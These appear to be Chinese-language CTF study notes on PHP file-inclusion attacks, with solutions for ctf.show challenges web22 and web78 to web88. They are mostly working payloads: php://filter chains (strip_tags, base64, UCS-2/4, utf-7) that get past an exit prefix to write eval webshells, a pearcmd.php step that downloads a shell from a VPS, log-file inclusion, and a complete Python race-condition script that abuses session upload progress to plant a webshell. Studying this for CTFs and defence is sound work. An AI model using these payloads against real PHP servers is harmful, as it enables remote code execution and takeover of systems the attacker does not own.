文件包含
php://filter
Bypass-字符串过滤器
除了可以使用php://filter的转换过滤器绕过以外还可以使用其字符串过滤器进行绕过利用。
string.strip_tags
利用php://filter中string.strip_tags过滤器去除”exit”。使用此过滤器等同于用 strip_tags()函数处理所有的流数据。我们观察一下,这个<?php exit; ?>,实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它。
测试代码
<?phpecho readfile('php://filter/read=string.strip_tags/resource=php://input');?>123
载荷效果
载荷利用虽然成功了,但是我们的目的是写入webshell,如果那样的话,我们的webshell岂不是同样起不了作用,不过我们可以使用多个过滤器进行绕过这个限制(php://filter允许通过 | 使用多个过滤器)。
具体步骤分析
1、webshell用base64编码 //为了避免strip_tags的影响
2、先调用string.strip_tags //这一步先将去除<?php exit; ?>
3、在调用convert.base64-decode //这一步将再还原base64编码的webshell
12345
payload
http://192.33.6.145/test.php
POST
txt=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
(这里的+加号要url编码,如上%2B,否则不显示)
12345
载荷效果
从服务上可以看到已经生成shell.php,同时这部分已经被string.strip_tags去除掉。
Bypass-相同变量
针对写入shell的文件名和内容一样的时候,进行探索绕过。
有了上面第一种情况的绕过与利用姿势,那么在第二种条件限制情况下,可以在第一种的手法上进行拓展探索利用。
测试代码
<?php
$a = $_GET[a];
file_put_contents($a,'<?php exit();'.$a)
?>
1234
这段代码在ThinkPHP5.0.X反序列化中出现过,利用其组合才能够得到RCE。有关ThinkPHP5.0.x的反序列化这里就不说了,主要是探索如何利用php://filter绕过该限制写入shell后门得到RCE的过程。
代码分析
分析代码可以看到,这种情况下写入的文件,其文件名($a)和文件部分内容($a)一致,这就导致利用的难度大大增加了,不过最终目的还是相同的:去除死亡exit写入shell后门。
针对这种限制手法,我们可以在上面第一种Bypass手法的基础上进行拓展挖掘。
convert.base64
在上面不同变量利用base64构造payload的基础上,可以针对相同变量再次构造相应payload,在文件名中包含,满足正常解码就可以。
a=php://filter/write=convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
//注意payload中的字符'+'在浏览器url中需要转换为%2B,否则不显示
123
但是这样构造发现是不可以的,因为构造的payload里面包含’=’符号,而base64解码的时候如果字符’=’后面包含有其他字符则会报错。(“=”字符在base64编码当中是作为填充字符出现的)
那么能不能尝试把字符等号去掉,分析payload可以把字符串write=去掉减少一个等号,但是字符串resource=里面的等号不能去掉,也就导致该payload构造失败。
既然这种方法不可以那么就可以试试探索其它方法(下面在讲述convert.iconv.*的时候会讲述怎么绕过base64解码时字符’=’的限制)
string.strip_tags
还是在上面不同变量的基础上进行拓展,由于上面第一种情况的限制代码直接就是可以直接利用strip_tags去掉,但是现在这种情况下的限制代码和上面的有点不一样了,少了一段字符?>,其限制代码为<?php exit;,不过构造的目的是相同的最终还是要把exit;给去除掉。
分析两者限制代码的不同,那么我们可以直接再给它加一个?>字符串进行闭合就可以利用了
构造payload
a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
//注意payload中的字符'+'在浏览器url中需要转换为%2B,否则不显示
123
分析组合后未处理的文件内容,发现成功的构造php标签,同时也可以发现代码中的字符等号’=’也包含在php标签里面,那么在经过strip_tags处理的时候都会去除掉,之后就不会影响base64的正常解码了。
载荷效果
可以看到payload请求成功,在服务器上生成了相应的文件,同时也正常的写入了webshell
虽然这样利用成功了,但是会发现这样的文件访问会有问题的,采用@Cyc1e师傅介绍的方法,利用…/重命名即可解决。
利用技巧
a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php
1
把?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+作为目录名(不管存不存在),再用…/回退一下,这样创建出来的文件名为Qftm.php,这样创建出来的文件名就正常了
有一个缺点就是这种利用手法在windows下利用不成功,因为文件名里面的? >等这些是特殊字符会导致文件的创建失败。
convert.iconv.*
关于convert.iconv.*的详细介绍可以看上面对php://filter的介绍。
对于iconv字符编码转换进行绕过的手法,其实类似于上面所述的base64编码手段,都是先对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;被去除,而我们的恶意代码正常解码存储。
下面具体看一下有哪些组合手法可以来Bypass exit:
UCS-2
UCS-2编码转换
php > echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[Qftm]);?>');
?<hp pe@av(l_$OPTSQ[tf]m;)>? // 两位一反转
>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 2*14
>>>
1234567
通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-2中2的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了
构造payload
a=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php
组合出的payload:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php
核心部分:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?
>>> len("<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?")
84 -> 2*42
>>>
1234567891011
载荷效果
从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。
UCS-4
UCS-4编码转换
php > echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[Qftm]);?>');
hp?<e@ p(lavOP_$Q[TS]mtf>?;) // 4位一反转
>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 4*7
>>>
1234567
通过UCS-4方式,对目标字符串进行4位一反转(这里的4LE和4BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-4中4的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了
构造payload
a=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php
组合出的payload:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php
核心部分:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)
>>> len("<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|")
56 -> 4*14
>>>
1234567891011
载荷效果
从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。
当然这种方法(UCS-2/4)对于上面讲述的第一种情况前后不同变量也是一样适用的。
utf8-utf7
前面介绍单独用base64编码是不可行的(绕不过字符’=’的限制),不过这里可以借助组合拳(iconv+base64)进行绕过字符’=’在base64解码中的影响。通过iconv将utf-8编码转为utf-7编码,从而把’=’给转了,最终也就不会影响到base64的正常解码。
测试代码
<?php
$a='php://filter/convert.iconv.utf-8.utf-7/resource=Qftm.txt';
file_put_contents($a,'=');
/**
Qftm.txt 写入的内容为: +AD0- 成功的将“=”给转了
**/
12345678
从结果可以看到,convert.iconv 这个过滤器把 = 转化成了 +AD0-,要知道 +AD0- 是可以被 convert.base64-decode过滤器解码的,由此利用其构造组合payload绕过base64限制。
构造payload
a=php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=Qftm.php
//这里需要注意的是要符合base64解码按照4字节进行的
utf-8 -> utf-7
+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+-+AHw-convert.iconv.utf-8.utf-7/resource+AD0-Qftm.php
base64解码特点剔除不符合字符(只要恶意代码前面部分正常就可以,长度为4的倍数)
+ADwphpexit+ADsphp//filter/write+AD0
>>> len("+ADwphpexit+ADsphp//filter/write+AD0")
36 -> 4*9
>>>
正常base64解码部分
+ADwphpexit+ADsphp//filter/write+AD0PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+
123456789101112131415
载荷效果
可以看到这种组合效果是可以的,成功绕过了base64与exit;的限制。
配置文件目录

/etc/nginx/conf.d/default.conf
/etc/nginx/nginx.conf
web22
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\:|\/|\\\/i",$c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?>
二. register_argc_argv的介绍
通过可变信息通过GET方法是类似于参数传递给可执行文件。许多语言处理等方面argc和argv参数。 argc是参数计数,并,argv是索引数组,包含的参数。如果您想声明变量$argc和$argv和模仿这种功能,使register_argc_argv。
$argc变量是⽤于记录数组的⼤⼩
$argv变量是⽤于记录输⼊的参数。
这里借p神的介绍
经过简单测试,发现⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、
7.3.4)默认为 Off
奇淫技巧
这个是自己看p神的知识星球知道的。
我们是可以通过$_GET或者$_POST的⽅式来操控
$_SERVER[‘argv’]的值的,但是如果测试可以发现,如果直接传⼊值,⽆论多少个参数,$argc的
个数始终是 1
#测试代码
<?php
error_reporting(0);
$a=$_SERVER['argv'];
var_dump($a);
?>

而我们可以通过+来进行分隔符。
(这里不解释,需要知道的可以去p神的知识星球了解)

三. PEAR的介绍
如何熟悉PEAR的使用?
在linux下面安装直接输入命令apt install php-pear
这个题只需要下载一个档案文件(php文件)并使用lfi
而这个下载的命令是pearcmd.php里面有的
在pearcmd.php目录下面输入php pearcmd.php -help

而正好,这个题开启了register_argc_argv可以通过+来分隔命令,先进行包含pearcmd.php然后在通过+分隔符来执行download命令
-----摘自[Firebasky](https://blog.csdn.net/qq_46091464)师傅博客
利用
在vps上创建php文件
<?php
echo "<?php @eval(\$_POST[1]);?>')?>";
?>
传值?c=pearcmd&+download+http:/.../shell.php
访问shell.php文件 post传phpinfo();
成功getshell
trick
这里下载内容为页面内容
vps写入
//shell.php
<?php
echo "This is Test";
?>
传值?c=pearcmd&+download+http:/.../shell.php
访问shell.php
web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
php://filter协议读取flag.php文件
web79
data://协议读取文件
?file=data://text/plain;base64,base64编码后的内容
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
包含日志文件 进行getshell 日志文件路径
?file=/var/log/nginx/access.log
web81
包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log
web82-86
用一个Py脚本
import threading
import io
import requests
url='http://e452861c-2e24-45d7-85cb-081b143cf342.challenge.ctf.show:8080/'
data={
'1':"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}
sessionid='huahua'
def write(session):
fileBytes=io.BytesIO(b'a'*1024*50)
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('huahua.jpg',fileBytes)
}
)
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={
'PHPSESSID':sessionid
}
)
response2=session.get(url+'2.php')
if response2.status_code==200:
print('[+++++++++++++++++YES+++++++++++++++++]')
else:
print(response2.status_code)
if __name__=='__main__':
event=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
event.set()
源码过滤了php data不能用伪协议 也不能包含php后缀的文件
所以只能包含session文件
cookie传值PHPSESSID:huahua 会在/tmp/sess_huahua创建一个文件 在访问结束会立即删除
通过PHP_SESSION_UPLOAD_PROGRESS查看上传进程可以控制/tmp/sess_huahua里的内容 故采用文件竞争方式 构造上述脚本
利用条件
PHP version >= 5.4
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
//enabled=on 表示upload_progress功能开始,意味浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session中
//cleanup=on表示当文件上传结束后,php将会立即清空session文件中的内容,这个选项非常重要;name当它出现在表单中,php将会报告上传进度,它的值可控;
//prefix+name表示session中的键名
//session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
web87
?file=php://filter/write=convert.base64-decode/resource=1.php
content=aa(base64编码)
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
aa结合前面的phpdie可以base64 decode后去掉php代码
后直接base64编码后写入即可
web88
?file=data://text/plain;base64,PD89IGBjYXQgZioucGhwYDs
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
没有过滤 : data直接包含data伪协议绕过
